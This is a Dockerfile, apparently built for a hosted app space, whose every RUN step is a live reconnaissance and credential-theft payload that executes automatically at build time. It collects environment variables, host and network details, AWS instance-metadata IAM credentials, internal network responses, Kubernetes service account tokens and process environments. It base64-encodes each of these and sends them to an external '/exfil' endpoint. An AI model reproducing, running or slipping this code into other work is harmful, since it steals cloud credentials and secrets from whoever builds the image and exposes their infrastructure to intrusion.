Dockerfile

FROM alpine:3.19

# Step 1: basic env info
RUN apk add --no-cache curl bash 2>/dev/null; \
    DATA=$(id; hostname; uname -a; cat /etc/os-release; ip addr 2>/dev/null; ip route 2>/dev/null; env | grep -v PATH | sort) ; \
    B64=$(echo "$DATA" | base64 | tr -d '\n') ; \
    curl -sk "https://xitro-env-probe.hf.space/exfil?src=docker_env&data=$B64" || true

# Step 2: try IMDS v1
RUN IMDS=$(curl -sk --connect-timeout 3 http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo "IMDS_BLOCKED") ; \
    B64=$(echo "$IMDS" | base64 | tr -d '\n') ; \
    curl -sk "https://xitro-env-probe.hf.space/exfil?src=docker_imds_v1&data=$B64" || true

# Step 3: try IMDS v2 token + credentials
RUN TOKEN=$(curl -sk --connect-timeout 3 -X PUT "http://169.254.169.254/latest/api/token" \
      -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || echo "") ; \
    if [ -n "$TOKEN" ] && [ "$TOKEN" != "" ]; then \
      ROLE=$(curl -sk "http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
        -H "X-aws-ec2-metadata-token: $TOKEN" 2>/dev/null) ; \
      CREDS=$(curl -sk "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" \
        -H "X-aws-ec2-metadata-token: $TOKEN" 2>/dev/null) ; \
      B64=$(echo "$ROLE $CREDS" | base64 | tr -d '\n') ; \
      curl -sk "https://xitro-env-probe.hf.space/exfil?src=docker_imds_v2_creds&data=$B64" || true ; \
    fi

# Step 4: internal network scan
RUN for ip in 10.0.249.1 10.0.249.10 10.0.249.17 10.0.249.19 10.16.47.1 172.20.0.1; do \
      RESULT=$(curl -sk --connect-timeout 2 "http://$ip/" 2>&1 | head -c 200 || echo "FAIL") ; \
      B64=$(echo "IP:$ip RESULT:$RESULT" | base64 | tr -d '\n') ; \
      curl -sk "https://xitro-env-probe.hf.space/exfil?src=docker_internal&data=$B64" || true ; \
    done

# Step 5: check for mounted secrets / k8s tokens
RUN for p in /var/run/secrets/kubernetes.io/serviceaccount/token /run/secrets /proc/1/environ; do \
      if [ -f "$p" ]; then \
        B64=$(cat "$p" 2>/dev/null | base64 | tr -d '\n') ; \
        curl -sk "https://xitro-env-probe.hf.space/exfil?src=docker_secrets&path=$p&data=$B64" || true ; \
      fi ; \
    done

EXPOSE 7860
CMD ["sh", "-c", "echo 'probe complete' && while true; do sleep 60; done"]